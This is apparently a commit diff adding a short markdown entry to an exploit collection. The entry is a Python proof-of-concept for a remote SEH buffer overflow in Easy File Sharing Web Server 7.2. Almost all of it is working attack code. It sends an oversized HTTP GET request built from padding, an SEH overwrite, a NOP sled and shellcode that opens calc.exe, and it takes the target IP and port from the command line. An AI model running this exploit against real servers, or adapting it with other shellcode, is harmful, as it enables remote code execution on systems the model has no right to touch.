add Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)

Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH).md

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+### Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)
+
+### POC
+
+```python
+
+# Exploit Title: Easy File Sharing Web Server 7.2 - GET HTTP request SEH Buffer Overflow
+# Tested on: XP SP3 EN
+# category: Remote Exploit
+# Usage: ./exploit.py ip port
+
+import socket
+import sys
+
+host = str(sys.argv[1])
+port = int(sys.argv[2])
+
+a = socket.socket()
+
+print "Connecting to: " + host + ":" + str(port)
+a.connect((host,port))
+
+entire=4500
+
+# Junk
+buff = "A"*4061
+
+# Next SEH
+buff+= "\xeb\x0A\x90\x90"
+
+# pop pop ret
+buff+= "\x98\x97\x01\x10"
+
+buff+= "\x90"*19
+
+# calc.exe
+# Bad Characters: \x20 \x2f \x5c
+shellcode = (
+"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
+"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
+"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
+"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
+"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
+"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
+"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
+"\x1c\x39\xbd"
+)
+buff+= shellcode
+
+buff+= "\x90"*7
+
+buff+= "A"*(4500-4061-4-4-20-len(shellcode)-20)
+
+# GET
+a.send("GET " + buff + " HTTP/1.0\r\n\r\n")
+
+a.close()
+
+print "Done..."
+```